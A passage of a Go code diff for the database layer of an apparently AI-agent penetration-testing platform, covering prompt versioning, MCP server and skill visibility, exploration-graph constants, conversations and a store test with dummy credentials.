}
|
||||
|
||||
// SetAgentInteractiveShell toggles whether an agent gets the interactive shell
|
||||
// (持久 PTY 会话) tool family + Bash 提示词联动(见 docs/交互式shell设计.md §14.2).
|
||||
func (d *DB) SetAgentInteractiveShell(key string, on bool) error {
|
||||
_, err := d.Exec(`UPDATE agents SET interactive_shell=$1 WHERE key=$2`, on, key)
|
||||
return err
|
||||
}
|
||||
|
||||
// SetAgentWrapupPrompt stores an agent's wrap-up (settlement) prompt. Empty string
|
||||
// means "use the code built-in default" — resolved at runtime by resolveWrapup.
|
||||
func (d *DB) SetAgentWrapupPrompt(key, prompt string) error {
|
||||
_, err := d.Exec(`UPDATE agents SET wrapup_prompt=$1 WHERE key=$2`, prompt, key)
|
||||
return err
|
||||
}
|
||||
|
||||
// SetAgentWrapupMaxTurns stores the wrap-up phase's own turn budget. 0 means "use
|
||||
// the code built-in default" — resolved at runtime by resolveWrapupTurns.
|
||||
func (d *DB) SetAgentWrapupMaxTurns(key string, n int) error {
|
||||
_, err := d.Exec(`UPDATE agents SET wrapup_max_turns=$1 WHERE key=$2`, n, key)
|
||||
return err
|
||||
}
|
||||
|
||||
// SetAgentTaskTimeoutWrapup stores an agent's task-timeout wrap-up prompt (empty =
|
||||
// use code built-in default; only worker/planner have one) and its turn budget
|
||||
// (0 = default). Resolved at runtime by resolveTaskTimeoutWrapup / …Turns.
|
||||
func (d *DB) SetAgentTaskTimeoutWrapup(key, prompt string, maxTurns int) error {
|
||||
_, err := d.Exec(`UPDATE agents SET task_timeout_wrapup_prompt=$1, task_timeout_wrapup_max_turns=$2 WHERE key=$3`, prompt, maxTurns, key)
|
||||
return err
|
||||
}
|
||||
|
||||
// SetAgentRunSeconds updates an agent's run_seconds wall-clock budget (0 = unlimited).
|
||||
func (d *DB) SetAgentRunSeconds(key string, runSecs int) error {
|
||||
if runSecs < 0 {
|
||||
runSecs = 0
|
||||
}
|
||||
_, err := d.Exec(`UPDATE agents SET run_seconds=$1 WHERE key=$2`, runSecs, key)
|
||||
return err
|
||||
}
|
||||
|
||||
type PromptVar struct {
|
||||
Name string `json:"name"`
|
||||
Description string `json:"description"`
|
||||
Example string `json:"example"`
|
||||
Source string `json:"source"`
|
||||
}
|
||||
|
||||
func (d *DB) PromptVars(agentID int64) ([]PromptVar, error) {
|
||||
rows, err := d.Query(`SELECT var_name,COALESCE(description,''),COALESCE(example,''),source FROM agent_prompt_vars WHERE agent_id=$1 ORDER BY var_name`, agentID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
out := []PromptVar{}
|
||||
for rows.Next() {
|
||||
var v PromptVar
|
||||
if err := rows.Scan(&v.Name, &v.Description, &v.Example, &v.Source); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, v)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// CurrentPrompt returns the agent's active template text ("" if none set yet).
|
||||
func (d *DB) CurrentPrompt(agentID int64) (string, error) {
|
||||
var tmpl sql.NullString
|
||||
err := d.QueryRow(`SELECT p.template_text FROM agents a JOIN agent_prompts p ON p.id=a.current_prompt_id WHERE a.id=$1`, agentID).Scan(&tmpl)
|
||||
if err == sql.ErrNoRows {
|
||||
return "", nil
|
||||
}
|
||||
return tmpl.String, err
|
||||
}
|
||||
|
||||
// SeedPromptIfEmpty writes the code-default template as the agent's first prompt
|
||||
// version ONLY when it has none yet (current_prompt_id IS NULL). Mirrors
|
||||
// SeedTool's first-insert-only philosophy: a user's edited prompt is never
|
||||
// clobbered on restart. Idempotent — a no-op once any version exists.
|
||||
func (d *DB) SeedPromptIfEmpty(agentID int64, tmpl string) error {
|
||||
var cur sql.NullInt64
|
||||
if err := d.QueryRow(`SELECT current_prompt_id FROM agents WHERE id=$1`, agentID).Scan(&cur); err != nil {
|
||||
return err
|
||||
}
|
||||
if cur.Valid {
|
||||
return nil // already seeded or user-edited → leave it
|
||||
}
|
||||
_, err := d.SavePrompt(agentID, tmpl, "内置默认", "system")
|
||||
return err
|
||||
}
|
||||
|
||||
// ResetPromptToDefault appends the code-default template as a new version and
|
||||
// points current at it — the explicit "恢复为内置默认" action.
|
||||
func (d *DB) ResetPromptToDefault(agentID int64, tmpl string) (int, error) {
|
||||
return d.SavePrompt(agentID, tmpl, "恢复为内置默认", "system")
|
||||
}
|
||||
|
||||
// SavePrompt appends a new version and points current_prompt_id at it.
|
||||
func (d *DB) SavePrompt(agentID int64, template, note, by string) (int, error) {
|
||||
tx, err := d.Begin()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
defer tx.Rollback()
|
||||
var ver int
|
||||
if err := tx.QueryRow(`SELECT COALESCE(max(version),0)+1 FROM agent_prompts WHERE agent_id=$1`, agentID).Scan(&ver); err != nil {
|
||||
return 0, err
|
||||
}
|
||||
var pid int64
|
||||
if err := tx.QueryRow(`INSERT INTO agent_prompts(agent_id,version,template_text,note,updated_by) VALUES ($1,$2,$3,NULLIF($4,''),NULLIF($5,'')) RETURNING id`,
|
||||
agentID, ver, template, note, by).Scan(&pid); err != nil {
|
||||
return 0, err
|
||||
}
|
||||
if _, err := tx.Exec(`UPDATE agents SET current_prompt_id=$1 WHERE id=$2`, pid, agentID); err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return ver, tx.Commit()
|
||||
}
|
||||
|
||||
type PromptVersion struct {
|
||||
Version int `json:"version"`
|
||||
Template string `json:"template_text"`
|
||||
Note string `json:"note,omitempty"`
|
||||
CreatedAt time.Time `json:"ts"`
|
||||
}
|
||||
|
||||
func (d *DB) ListPromptVersions(agentID int64) ([]PromptVersion, error) {
|
||||
rows, err := d.Query(`SELECT version,template_text,COALESCE(note,''),created_at FROM agent_prompts WHERE agent_id=$1 ORDER BY version DESC`, agentID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
out := []PromptVersion{}
|
||||
for rows.Next() {
|
||||
var v PromptVersion
|
||||
if err := rows.Scan(&v.Version, &v.Template, &v.Note, &v.CreatedAt); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, v)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// ---------- MCP servers ----------
|
||||
|
||||
type MCPServer struct {
|
||||
ID int64 `json:"id"`
|
||||
Name string `json:"name"`
|
||||
Transport string `json:"transport"`
|
||||
Command string `json:"command,omitempty"`
|
||||
Args json.RawMessage `json:"args"`
|
||||
Env json.RawMessage `json:"env"`
|
||||
URL string `json:"url,omitempty"`
|
||||
Enabled bool `json:"enabled"`
|
||||
Tools []string `json:"tools,omitempty"` // cached tool names (mcp_tools_cache)
|
||||
}
|
||||
|
||||
func (d *DB) ListMCP() ([]*MCPServer, error) {
|
||||
rows, err := d.Query(`SELECT id,name,transport,COALESCE(command,''),args,env,COALESCE(url,''),enabled FROM mcp_servers ORDER BY id`)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var out []*MCPServer
|
||||
for rows.Next() {
|
||||
var m MCPServer
|
||||
var args, env []byte
|
||||
if err := rows.Scan(&m.ID, &m.Name, &m.Transport, &m.Command, &args, &env, &m.URL, &m.Enabled); err != nil {
|
||||
rows.Close()
|
||||
return nil, err
|
||||
}
|
||||
m.Args, m.Env = json.RawMessage(args), json.RawMessage(env)
|
||||
out = append(out, &m)
|
||||
}
|
||||
if err := rows.Err(); err != nil {
|
||||
rows.Close()
|
||||
return nil, err
|
||||
}
|
||||
rows.Close() // free the connection before the per-server tool-cache queries below
|
||||
// Attach each server's cached tool names (best-effort; empty until discovered).
|
||||
for _, m := range out {
|
||||
m.Tools, _ = d.MCPToolNames(m.ID)
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// MCPToolNames returns the cached tool names for a server (empty until discovered).
|
||||
func (d *DB) MCPToolNames(serverID int64) ([]string, error) {
|
||||
rows, err := d.Query(`SELECT tool_name FROM mcp_tools_cache WHERE server_id=$1 ORDER BY tool_name`, serverID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []string
|
||||
for rows.Next() {
|
||||
var n string
|
||||
if err := rows.Scan(&n); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, n)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// MCPTool is one cached tool of an MCP server (name + description).
|
||||
type MCPTool struct {
|
||||
Name string `json:"name"`
|
||||
Description string `json:"description"`
|
||||
}
|
||||
|
||||
// MCPToolsDetailed returns the cached tools (name + description) for a server.
|
||||
func (d *DB) MCPToolsDetailed(serverID int64) ([]MCPTool, error) {
|
||||
rows, err := d.Query(`SELECT tool_name, COALESCE(description,'') FROM mcp_tools_cache WHERE server_id=$1 ORDER BY tool_name`, serverID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []MCPTool
|
||||
for rows.Next() {
|
||||
var t MCPTool
|
||||
if err := rows.Scan(&t.Name, &t.Description); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, t)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// SaveMCPTools replaces the cached tool list for a server (called after discovery).
|
||||
func (d *DB) SaveMCPTools(serverID int64, tools []MCPTool) error {
|
||||
tx, err := d.Begin()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer tx.Rollback()
|
||||
if _, err := tx.Exec(`DELETE FROM mcp_tools_cache WHERE server_id=$1`, serverID); err != nil {
|
||||
return err
|
||||
}
|
||||
for _, t := range tools {
|
||||
if _, err := tx.Exec(`INSERT INTO mcp_tools_cache(server_id, tool_name, description) VALUES ($1,$2,$3)
|
||||
ON CONFLICT (server_id, tool_name) DO UPDATE SET description=EXCLUDED.description`, serverID, t.Name, t.Description); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return tx.Commit()
|
||||
}
|
||||
|
||||
func (d *DB) SaveMCP(m *MCPServer) (int64, error) {
|
||||
args, env := string(m.Args), string(m.Env)
|
||||
if args == "" {
|
||||
args = "[]"
|
||||
}
|
||||
if env == "" {
|
||||
env = "{}"
|
||||
}
|
||||
if m.ID == 0 {
|
||||
var id int64
|
||||
err := d.QueryRow(`INSERT INTO mcp_servers(name,transport,command,args,env,url,enabled) VALUES ($1,$2,NULLIF($3,''),$4,$5,NULLIF($6,''),$7) RETURNING id`,
|
||||
m.Name, m.Transport, m.Command, args, env, m.URL, m.Enabled).Scan(&id)
|
||||
return id, err
|
||||
}
|
||||
_, err := d.Exec(`UPDATE mcp_servers SET name=$1,transport=$2,command=NULLIF($3,''),args=$4,env=$5,url=NULLIF($6,''),enabled=$7 WHERE id=$8`,
|
||||
m.Name, m.Transport, m.Command, args, env, m.URL, m.Enabled, m.ID)
|
||||
return m.ID, err
|
||||
}
|
||||
|
||||
func (d *DB) DeleteMCP(id int64) error {
|
||||
tx, err := d.Begin()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer tx.Rollback()
|
||||
if _, err := tx.Exec(`DELETE FROM agent_visibility WHERE resource_kind='mcp' AND resource_id=$1`, id); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := tx.Exec(`DELETE FROM mcp_servers WHERE id=$1`, id); err != nil {
|
||||
return err
|
||||
}
|
||||
return tx.Commit()
|
||||
}
|
||||
|
||||
// ---------- Skill visibility (agent × skill_name) ----------
|
||||
|
||||
// AgentSkillNames returns the skill directory names visible to an agent.
|
||||
func (d *DB) AgentSkillNames(agentID int64) ([]string, error) {
|
||||
rows, err := d.Query(`SELECT skill_name FROM agent_skill_visibility WHERE agent_id=$1 AND enabled ORDER BY skill_name`, agentID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []string
|
||||
for rows.Next() {
|
||||
var name string
|
||||
if err := rows.Scan(&name); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, name)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// SkillAgents returns the agent IDs that can see a skill.
|
||||
func (d *DB) SkillAgents(skillName string) ([]int64, error) {
|
||||
rows, err := d.Query(`SELECT agent_id FROM agent_skill_visibility WHERE skill_name=$1 AND enabled`, skillName)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []int64
|
||||
for rows.Next() {
|
||||
var id int64
|
||||
if err := rows.Scan(&id); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, id)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// SetAgentSkillVisibility replaces all skill visibility for an agent.
|
||||
func (d *DB) SetAgentSkillVisibility(agentID int64, names []string) error {
|
||||
tx, err := d.Begin()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer tx.Rollback()
|
||||
if _, err := tx.Exec(`DELETE FROM agent_skill_visibility WHERE agent_id=$1`, agentID); err != nil {
|
||||
return err
|
||||
}
|
||||
for _, name := range names {
|
||||
if _, err := tx.Exec(`INSERT INTO agent_skill_visibility(agent_id,skill_name,enabled) VALUES ($1,$2,true)
|
||||
ON CONFLICT (agent_id,skill_name) DO UPDATE SET enabled=true`, agentID, name); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return tx.Commit()
|
||||
}
|
||||
|
||||
// ToggleSkillVisibility sets one (agent, skill_name) visibility on/off.
|
||||
func (d *DB) ToggleSkillVisibility(agentID int64, skillName string, on bool) error {
|
||||
if on {
|
||||
_, err := d.Exec(`INSERT INTO agent_skill_visibility(agent_id,skill_name,enabled) VALUES ($1,$2,true)
|
||||
ON CONFLICT (agent_id,skill_name) DO UPDATE SET enabled=true`, agentID, skillName)
|
||||
return err
|
||||
}
|
||||
_, err := d.Exec(`DELETE FROM agent_skill_visibility WHERE agent_id=$1 AND skill_name=$2`, agentID, skillName)
|
||||
return err
|
||||
}
|
||||
|
||||
// DeleteSkillVisibility removes all visibility rows for a skill (called on skill delete).
|
||||
func (d *DB) DeleteSkillVisibility(skillName string) error {
|
||||
_, err := d.Exec(`DELETE FROM agent_skill_visibility WHERE skill_name=$1`, skillName)
|
||||
return err
|
||||
}
|
||||
|
||||
// ---------- Visibility (agent × mcp) ----------
|
||||
|
||||
// AgentVisible returns the resource ids of a kind visible to an agent.
|
||||
func (d *DB) AgentVisible(agentID int64, kind string) ([]int64, error) {
|
||||
rows, err := d.Query(`SELECT resource_id FROM agent_visibility WHERE agent_id=$1 AND resource_kind=$2 AND enabled`, agentID, kind)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []int64
|
||||
for rows.Next() {
|
||||
var id int64
|
||||
if err := rows.Scan(&id); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, id)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// ResourceAgents returns the agent ids that can see a resource.
|
||||
func (d *DB) ResourceAgents(kind string, resourceID int64) ([]int64, error) {
|
||||
rows, err := d.Query(`SELECT agent_id FROM agent_visibility WHERE resource_kind=$1 AND resource_id=$2 AND enabled`, kind, resourceID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []int64
|
||||
for rows.Next() {
|
||||
var id int64
|
||||
if err := rows.Scan(&id); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, id)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// SetAgentVisibilityKind replaces the full set of visible resources of a kind for
|
||||
// an agent (agent-side bulk write). Bidirectional with the resource-side view —
|
||||
// both read/write the same agent_visibility rows.
|
||||
func (d *DB) SetAgentVisibilityKind(agentID int64, kind string, resourceIDs []int64) error {
|
||||
tx, err := d.Begin()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer tx.Rollback()
|
||||
if _, err := tx.Exec(`DELETE FROM agent_visibility WHERE agent_id=$1 AND resource_kind=$2`, agentID, kind); err != nil {
|
||||
return err
|
||||
}
|
||||
for _, rid := range resourceIDs {
|
||||
if _, err := tx.Exec(`INSERT INTO agent_visibility(agent_id,resource_kind,resource_id,enabled) VALUES ($1,$2,$3,true)
|
||||
ON CONFLICT (agent_id,resource_kind,resource_id,mcp_tool_name) DO UPDATE SET enabled=true`, agentID, kind, rid); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return tx.Commit()
|
||||
}
|
||||
|
||||
// ToggleVisibility sets one (agent, kind, resource) visibility on/off (idempotent).
|
||||
func (d *DB) ToggleVisibility(agentID int64, kind string, resourceID int64, on bool) error {
|
||||
if on {
|
||||
_, err := d.Exec(`INSERT INTO agent_visibility(agent_id,resource_kind,resource_id,enabled) VALUES ($1,$2,$3,true)
|
||||
ON CONFLICT (agent_id,resource_kind,resource_id,mcp_tool_name) DO UPDATE SET enabled=true`, agentID, kind, resourceID)
|
||||
return err
|
||||
}
|
||||
_, err := d.Exec(`DELETE FROM agent_visibility WHERE agent_id=$1 AND resource_kind=$2 AND resource_id=$3`, agentID, kind, resourceID)
|
||||
return err
|
||||
}
|
||||
@@ -0,0 +1,134 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestConfigStores(t *testing.T) {
|
||||
d, err := Open(testDSN(t))
|
||||
if err != nil {
|
||||
t.Skipf("postgres unavailable (%v) — skipping", err)
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
// LLM profile: save, active, key never serialized
|
||||
pid, err := d.SaveProfile(&LLMProfile{Name: "t-default", Format: "openai", Model: "gpt-x", APIKey: "secret123"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Exec(`DELETE FROM llm_profiles WHERE id=$1`, pid)
|
||||
if err := d.SetActiveProfile(pid); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
act, err := d.ActiveProfile()
|
||||
if err != nil || act == nil || act.APIKey != "secret123" {
|
||||
t.Fatalf("active profile/key: %+v err=%v", act, err)
|
||||
}
|
||||
// list must hide the key, expose hint
|
||||
list, _ := d.ListProfiles()
|
||||
for _, p := range list {
|
||||
if p.ID == pid {
|
||||
b, _ := json.Marshal(p)
|
||||
if string(b) == "" || contains(string(b), "secret123") {
|
||||
t.Fatalf("api key leaked in list json: %s", b)
|
||||
}
|
||||
if p.APIKeyHint != "…t123" {
|
||||
t.Fatalf("hint want …t123, got %q", p.APIKeyHint)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// agents seeded; prompt versioning
|
||||
ag, err := d.GetAgentByKey("planner")
|
||||
if err != nil || ag == nil {
|
||||
t.Fatalf("planner agent: %v", err)
|
||||
}
|
||||
v1, err := d.SavePrompt(ag.ID, "你是规划者 {{.Goal}}", "init", "test")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
v2, _ := d.SavePrompt(ag.ID, "你是规划者 v2 {{.Goal}} {{.Scope}}", "edit", "test")
|
||||
if v2 != v1+1 {
|
||||
t.Fatalf("version should increment: %d -> %d", v1, v2)
|
||||
}
|
||||
cur, _ := d.CurrentPrompt(ag.ID)
|
||||
if cur != "你是规划者 v2 {{.Goal}} {{.Scope}}" {
|
||||
t.Fatalf("current prompt wrong: %q", cur)
|
||||
}
|
||||
vers, _ := d.ListPromptVersions(ag.ID)
|
||||
if len(vers) < 2 {
|
||||
t.Fatalf("want >=2 versions, got %d", len(vers))
|
||||
}
|
||||
pv, _ := d.PromptVars(ag.ID)
|
||||
// planner must have at least the seeded catalog vars (Goal, AssetSummary)
|
||||
if len(pv) < 2 {
|
||||
t.Fatalf("planner catalog want >=2 vars, got %d", len(pv))
|
||||
}
|
||||
d.Exec(`DELETE FROM agent_prompts WHERE agent_id=$1`, ag.ID)
|
||||
d.Exec(`UPDATE agents SET current_prompt_id=NULL WHERE id=$1`, ag.ID)
|
||||
|
||||
// mcp + skill + visibility (bidirectional via one join)
|
||||
// Clean up any leftover MCP from prior runs to keep this test idempotent.
|
||||
d.Exec(`DELETE FROM mcp_servers WHERE name = 't-gh'`)
|
||||
mid, err := d.SaveMCP(&MCPServer{Name: "t-gh", Transport: "stdio", Command: "npx", Args: json.RawMessage(`["server-github"]`), Env: json.RawMessage(`{"GITHUB_TOKEN":"x"}`), Enabled: true})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
// agent-side write. MCP is id-keyed (generic visibility join); skills are now
|
||||
// filesystem-based, so their visibility is keyed by skill (directory) name in a
|
||||
// dedicated table. Clear any pre-existing MCP visibility rows so the assertions
|
||||
// below isolate on exactly what this test sets.
|
||||
d.Exec(`DELETE FROM agent_visibility WHERE agent_id = $1 AND resource_kind = 'mcp'`, ag.ID)
|
||||
if err := d.ToggleVisibility(ag.ID, "mcp", mid, true); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := d.SetAgentSkillVisibility(ag.ID, nil); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := d.ToggleSkillVisibility(ag.ID, "t-skill", true); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
// agent-side read
|
||||
vm, _ := d.AgentVisible(ag.ID, "mcp")
|
||||
if len(vm) != 1 || vm[0] != mid {
|
||||
t.Fatalf("agent visible mcp: %+v", vm)
|
||||
}
|
||||
// resource-side read (same join row) → bidirectional
|
||||
ra, _ := d.ResourceAgents("mcp", mid)
|
||||
if len(ra) != 1 || ra[0] != ag.ID {
|
||||
t.Fatalf("resource agents: %+v", ra)
|
||||
}
|
||||
// toggle off
|
||||
d.ToggleVisibility(ag.ID, "mcp", mid, false)
|
||||
vm2, _ := d.AgentVisible(ag.ID, "mcp")
|
||||
if len(vm2) != 0 {
|
||||
t.Fatalf("after toggle off: %+v", vm2)
|
||||
}
|
||||
// skill visibility is name-keyed: verify the read, then deleting the skill's
|
||||
// visibility rows (called when a skill is removed) clears it.
|
||||
names, _ := d.AgentSkillNames(ag.ID)
|
||||
if len(names) != 1 || names[0] != "t-skill" {
|
||||
t.Fatalf("agent visible skills: %+v", names)
|
||||
}
|
||||
if err := d.DeleteSkillVisibility("t-skill"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
names2, _ := d.AgentSkillNames(ag.ID)
|
||||
if len(names2) != 0 {
|
||||
t.Fatalf("skill visibility should be cleared on delete: %+v", names2)
|
||||
}
|
||||
d.DeleteMCP(mid)
|
||||
}
|
||||
|
||||
func contains(s, sub string) bool {
|
||||
return len(s) >= len(sub) && (indexOf(s, sub) >= 0)
|
||||
}
|
||||
func indexOf(s, sub string) int {
|
||||
for i := 0; i+len(sub) <= len(s); i++ {
|
||||
if s[i:i+len(sub)] == sub {
|
||||
return i
|
||||
}
|
||||
}
|
||||
return -1
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
package db
|
||||
|
||||
// Exploration node kinds (exploration_nodes.kind).
|
||||
const (
|
||||
KindBegin = "begin" // DEPRECATED: legacy task root; new tasks seed an origin fact (KindFact + StateOrigin) instead
|
||||
KindGoal = "goal" // a task objective
|
||||
KindIntent = "intent" // an exploration direction (planner-generated)
|
||||
KindFact = "fact" // a worker's exploration result/conclusion (incl. negative results), tied to its intent
|
||||
KindFinding = "finding" // a confirmed vulnerability (report_finding), distinct from a fact
|
||||
KindHint = "hint"
|
||||
)
|
||||
|
||||
// StateOrigin marks the task root fact (KindFact) seeded at task creation — the
|
||||
// exploration graph's origin. Every intent traces back to it, so "an intent must
|
||||
// connect to a fact" holds uniformly from the very first intent. Worker-produced
|
||||
// facts use state 'confirmed', so this never collides.
|
||||
const StateOrigin = "origin"
|
||||
|
||||
// Exploration edge relations (exploration_edges.rel).
|
||||
const (
|
||||
RelSpawns = "spawns"
|
||||
RelDerivedFrom = "derived_from"
|
||||
RelYields = "yields"
|
||||
RelProves = "proves"
|
||||
)
|
||||
@@ -0,0 +1,185 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ConvTokenSummary is one conversation's token total (sum of its kind='result'
|
||||
// rows) with its profile + created_at, used to merge conversation usage into the
|
||||
// dashboard's per-profile / daily token stats (which otherwise cover only tasks).
|
||||
type ConvTokenSummary struct {
|
||||
LLMProfileID *int64 `json:"llm_profile_id"`
|
||||
CreatedAt string `json:"created_at"`
|
||||
InputTokens int `json:"input_tokens"`
|
||||
OutputTokens int `json:"output_tokens"`
|
||||
CacheReadTokens int `json:"cache_read_tokens"`
|
||||
CacheWriteTokens int `json:"cache_write_tokens"`
|
||||
}
|
||||
|
||||
// ConversationTokenSummaries returns one row per conversation with its summed
|
||||
// result-row token usage (0 for conversations with no completed run yet).
|
||||
func (d *DB) ConversationTokenSummaries() ([]ConvTokenSummary, error) {
|
||||
rows, err := d.Query(`
|
||||
SELECT c.llm_profile_id, c.created_at::text,
|
||||
COALESCE(sum(ca.input_tokens),0), COALESCE(sum(ca.output_tokens),0),
|
||||
COALESCE(sum(ca.cache_read_tokens),0), COALESCE(sum(ca.cache_write_tokens),0)
|
||||
FROM conversations c
|
||||
LEFT JOIN conversation_activities ca ON ca.conversation_id = c.id AND ca.kind = 'result'
|
||||
GROUP BY c.id`)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
out := []ConvTokenSummary{}
|
||||
for rows.Next() {
|
||||
var s ConvTokenSummary
|
||||
var pid sql.NullInt64
|
||||
if err := rows.Scan(&pid, &s.CreatedAt, &s.InputTokens, &s.OutputTokens, &s.CacheReadTokens, &s.CacheWriteTokens); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if pid.Valid {
|
||||
v := pid.Int64
|
||||
s.LLMProfileID = &v
|
||||
}
|
||||
out = append(out, s)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// Conversation is one ChatGPT-style chat thread bound to an agent key. It lives
|
||||
// independent of the pentest exploration graph — see schema.sql §I.
|
||||
type Conversation struct {
|
||||
ID int64 `json:"id"`
|
||||
AgentKey string `json:"agent_key"`
|
||||
Title string `json:"title"`
|
||||
LLMProfileID *int64 `json:"llm_profile_id,omitempty"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
UpdatedAt time.Time `json:"updated_at"`
|
||||
}
|
||||
|
||||
const convCols = `id, agent_key, title, llm_profile_id, created_at, updated_at`
|
||||
|
||||
func scanConv(row interface{ Scan(...any) error }) (Conversation, error) {
|
||||
var c Conversation
|
||||
err := row.Scan(&c.ID, &c.AgentKey, &c.Title, &c.LLMProfileID, &c.CreatedAt, &c.UpdatedAt)
|
||||
return c, err
|
||||
}
|
||||
|
||||
// CreateConversation opens a new chat thread for agentKey with an initial title.
|
||||
// llmProfileID may be nil to use the globally active profile.
|
||||
func (d *DB) CreateConversation(agentKey, title string, llmProfileID *int64) (*Conversation, error) {
|
||||
c, err := scanConv(d.QueryRow(`
|
||||
INSERT INTO conversations(agent_key, title, llm_profile_id) VALUES ($1, $2, $3)
|
||||
RETURNING `+convCols, agentKey, title, llmProfileID))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &c, nil
|
||||
}
|
||||
|
||||
// UpdateConversationProfile sets (or clears) the LLM profile override for a conversation.
|
||||
func (d *DB) UpdateConversationProfile(id int64, llmProfileID *int64) error {
|
||||
_, err := d.Exec(`UPDATE conversations SET llm_profile_id=$2 WHERE id=$1`, id, llmProfileID)
|
||||
return err
|
||||
}
|
||||
|
||||
// ListConversations returns all threads, most-recently-updated first.
|
||||
func (d *DB) ListConversations() ([]*Conversation, error) {
|
||||
rows, err := d.Query(`SELECT ` + convCols + ` FROM conversations ORDER BY updated_at DESC`)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
out := []*Conversation{}
|
||||
for rows.Next() {
|
||||
c, err := scanConv(rows)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, &c)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// GetConversation returns one thread (nil, nil if absent).
|
||||
func (d *DB) GetConversation(id int64) (*Conversation, error) {
|
||||
c, err := scanConv(d.QueryRow(`SELECT `+convCols+` FROM conversations WHERE id=$1`, id))
|
||||
if err == sql.ErrNoRows {
|
||||
return nil, nil
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &c, nil
|
||||
}
|
||||
|
||||
// RenameConversation sets a thread's title.
|
||||
func (d *DB) RenameConversation(id int64, title string) error {
|
||||
_, err := d.Exec(`UPDATE conversations SET title=$2 WHERE id=$1`, id, title)
|
||||
return err
|
||||
}
|
||||
|
||||
// TouchConversation bumps updated_at so the thread floats to the top of the list.
|
||||
func (d *DB) TouchConversation(id int64) error {
|
||||
_, err := d.Exec(`UPDATE conversations SET updated_at=now() WHERE id=$1`, id)
|
||||
return err
|
||||
}
|
||||
|
||||
// DeleteConversation removes a thread; its activities cascade via FK.
|
||||
func (d *DB) DeleteConversation(id int64) error {
|
||||
_, err := d.Exec(`DELETE FROM conversations WHERE id=$1`, id)
|
||||
return err
|
||||
}
|
||||
|
||||
// AppendConvActivity records one step of a conversation (human message or an agent
|
||||
// execution step) and returns its id. Mirrors ExplorationStore.AppendActivity but
|
||||
// keyed by conversation_id. Reuses the Activity struct (NodeID is ignored here).
|
||||
func (d *DB) AppendConvActivity(convID int64, a Activity) (int64, error) {
|
||||
var id int64
|
||||
err := d.QueryRow(`
|
||||
